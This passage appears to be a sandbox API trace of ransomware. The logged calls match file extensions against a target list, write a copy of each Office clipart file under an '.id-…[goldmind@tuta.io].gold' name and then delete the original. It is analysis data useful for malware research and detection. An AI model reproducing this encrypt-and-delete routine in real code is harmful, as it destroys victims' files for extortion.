[0052.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0052.895] lstrlenW (lpString=".doc") returned 4 [0052.895] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.895] lstrlenW (lpString=".docx") returned 5 [0052.895] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.895] lstrlenW (lpString=".pdf") returned 4 [0052.895] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.895] lstrlenW (lpString=".xls") returned 4 [0052.895] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.895] lstrlenW (lpString=".xlsx") returned 5 [0052.895] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.895] lstrlenW (lpString=".ppt") returned 4 [0052.895] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0052.895] lstrlenW (lpString=".zip") returned 4 [0052.895] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.895] lstrlenW (lpString=".rar") returned 4 [0052.895] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.895] lstrlenW (lpString=".bz2") returned 4 [0052.895] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.895] lstrlenW (lpString=".7z") returned 3 [0052.895] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0052.895] lstrlenW (lpString=".dbf") returned 4 [0052.895] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0052.895] lstrlenW (lpString=".1cd") returned 4 [0052.895] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0052.895] lstrlenW (lpString=".jpg") returned 4 [0052.895] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0052.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0052.895] lstrlenW (lpString=".doc") returned 4 [0052.895] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.895] lstrlenW (lpString=".docx") returned 5 [0052.896] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.896] lstrlenW (lpString=".pdf") returned 4 [0052.896] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.896] lstrlenW (lpString=".xls") returned 4 [0052.896] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.896] lstrlenW (lpString=".xlsx") returned 5 [0052.896] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.896] lstrlenW (lpString=".ppt") returned 4 [0052.896] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0052.896] lstrlenW (lpString=".zip") returned 4 [0052.896] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.896] lstrlenW (lpString=".rar") returned 4 [0052.896] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.896] lstrlenW (lpString=".bz2") returned 4 [0052.896] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.896] lstrlenW (lpString=".7z") returned 3 [0052.896] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0052.896] lstrlenW (lpString=".dbf") returned 4 [0052.896] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0052.896] lstrlenW (lpString=".1cd") returned 4 [0052.896] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0052.896] lstrlenW (lpString=".jpg") returned 4 [0052.896] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.896] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0052.896] lstrlenW (lpString="BL00194_.WMF") returned 12 [0052.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.897] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=3986) returned 1 [0052.897] CloseHandle (hObject=0x1f4) returned 1 [0052.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf")) returned 0x20 [0052.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0052.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.897] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.897] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0052.897] GetLastError () returned 0x0 [0052.897] ReadFile (in: hFile=0x1f4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0xf92, lpOverlapped=0x0) returned 1 [0053.390] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xfa0, lpOverlapped=0x0) returned 1 [0053.401] ReadFile (in: hFile=0x1f4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.401] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.408] SetEndOfFile (hFile=0x1e8) returned 1 [0053.413] CloseHandle (hObject=0x1e8) returned 1 [0053.419] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.419] SetEndOfFile (hFile=0x1f4) returned 1 [0053.425] CloseHandle (hObject=0x1f4) returned 1 [0053.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0053.426] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf")) returned 1 [0053.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0053.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0053.426] lstrlenW (lpString=".doc") returned 4 [0053.426] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.426] lstrlenW (lpString=".docx") returned 5 [0053.426] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.426] lstrlenW (lpString=".pdf") returned 4 [0053.426] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.426] lstrlenW (lpString=".xls") returned 4 [0053.426] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.426] lstrlenW (lpString=".xlsx") returned 5 [0053.426] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.426] lstrlenW (lpString=".ppt") returned 4 [0053.426] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0053.426] lstrlenW (lpString=".zip") returned 4 [0053.426] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.426] lstrlenW (lpString=".rar") returned 4 [0053.426] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.426] lstrlenW (lpString=".bz2") returned 4 [0053.426] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.426] lstrlenW (lpString=".7z") returned 3 [0053.426] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0053.426] lstrlenW (lpString=".dbf") returned 4 [0053.426] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0053.426] lstrlenW (lpString=".1cd") returned 4 [0053.426] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0053.426] lstrlenW (lpString=".jpg") returned 4 [0053.426] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0053.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0053.427] lstrlenW (lpString=".doc") returned 4 [0053.427] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.427] lstrlenW (lpString=".docx") returned 5 [0053.427] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.427] lstrlenW (lpString=".pdf") returned 4 [0053.427] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.427] lstrlenW (lpString=".xls") returned 4 [0053.427] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.427] lstrlenW (lpString=".xlsx") returned 5 [0053.427] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.427] lstrlenW (lpString=".ppt") returned 4 [0053.427] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0053.427] lstrlenW (lpString=".zip") returned 4 [0053.427] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.427] lstrlenW (lpString=".rar") returned 4 [0053.427] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.427] lstrlenW (lpString=".bz2") returned 4 [0053.427] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.427] lstrlenW (lpString=".7z") returned 3 [0053.427] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0053.427] lstrlenW (lpString=".dbf") returned 4 [0053.427] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0053.427] lstrlenW (lpString=".1cd") returned 4 [0053.427] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0053.427] lstrlenW (lpString=".jpg") returned 4 [0053.427] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.427] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0053.427] lstrlenW (lpString="BL00392_.WMF") returned 12 [0053.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0053.428] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=27050) returned 1 [0053.428] CloseHandle (hObject=0x1f4) returned 1 [0053.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf")) returned 0x20 [0053.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0053.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0053.428] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.428] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0053.428] GetLastError () returned 0x0 [0053.428] ReadFile (in: hFile=0x1f4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x69aa, lpOverlapped=0x0) returned 1 [0053.430] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x69b0, lpOverlapped=0x0) returned 1 [0053.431] ReadFile (in: hFile=0x1f4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.431] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.431] SetEndOfFile (hFile=0x1e8) returned 1 [0053.431] CloseHandle (hObject=0x1e8) returned 1 [0053.432] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.432] SetEndOfFile (hFile=0x1f4) returned 1 [0053.432] CloseHandle (hObject=0x1f4) returned 1 [0053.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0053.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf")) returned 1 [0053.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0053.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0053.433] lstrlenW (lpString=".doc") returned 4 [0053.433] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.433] lstrlenW (lpString=".docx") returned 5 [0053.433] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.433] lstrlenW (lpString=".pdf") returned 4 [0053.433] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.433] lstrlenW (lpString=".xls") returned 4 [0053.433] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.433] lstrlenW (lpString=".xlsx") returned 5 [0053.433] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.433] lstrlenW (lpString=".ppt") returned 4 [0053.433] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0053.433] lstrlenW (lpString=".zip") returned 4 [0053.433] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.433] lstrlenW (lpString=".rar") returned 4 [0053.433] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.433] lstrlenW (lpString=".bz2") returned 4 [0053.433] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.433] lstrlenW (lpString=".7z") returned 3 [0053.433] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0053.433] lstrlenW (lpString=".dbf") returned 4 [0053.433] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0053.433] lstrlenW (lpString=".1cd") returned 4 [0053.433] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0053.433] lstrlenW (lpString=".jpg") returned 4 [0053.433] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0053.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0053.434] lstrlenW (lpString=".doc") returned 4 [0053.434] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.434] lstrlenW (lpString=".docx") returned 5 [0053.434] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.434] lstrlenW (lpString=".pdf") returned 4 [0053.434] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.434] lstrlenW (lpString=".xls") returned 4 [0053.434] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.434] lstrlenW (lpString=".xlsx") returned 5 [0053.434] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.434] lstrlenW (lpString=".ppt") returned 4 [0053.434] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0053.434] lstrlenW (lpString=".zip") returned 4 [0053.434] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.434] lstrlenW (lpString=".rar") returned 4 [0053.434] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.434] lstrlenW (lpString=".bz2") returned 4 [0053.434] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.434] lstrlenW (lpString=".7z") returned 3 [0053.434] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0053.434] lstrlenW (lpString=".dbf") returned 4 [0053.434] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0053.434] lstrlenW (lpString=".1cd") returned 4 [0053.434] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0053.434] lstrlenW (lpString=".jpg") returned 4 [0053.434] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.434] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0053.434] lstrlenW (lpString="BL00524_.WMF") returned 12 [0053.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0053.434] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=6996) returned 1 [0053.434] CloseHandle (hObject=0x1f4) returned 1 [0053.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf")) returned 0x20 [0053.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0053.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0053.435] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.435] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0053.435] GetLastError () returned 0x0 [0053.435] ReadFile (in: hFile=0x1f4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x1b54, lpOverlapped=0x0) returned 1 [0053.437] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x1b60, lpOverlapped=0x0) returned 1 [0053.437] ReadFile (in: hFile=0x1f4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.437] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.438] SetEndOfFile (hFile=0x1e8) returned 1 [0053.438] CloseHandle (hObject=0x1e8) returned 1 [0053.438] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.438] SetEndOfFile (hFile=0x1f4) returned 1 [0053.438] CloseHandle (hObject=0x1f4) returned 1 [0053.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0053.439] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf")) returned 1 [0053.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0053.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0053.439] lstrlenW (lpString=".doc") returned 4 [0053.439] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.439] lstrlenW (lpString=".docx") returned 5 [0053.439] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.439] lstrlenW (lpString=".pdf") returned 4 [0053.439] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.439] lstrlenW (lpString=".xls") returned 4 [0053.439] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.439] lstrlenW (lpString=".xlsx") returned 5 [0053.439] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.439] lstrlenW (lpString=".ppt") returned 4 [0053.439] lstrcmpiW 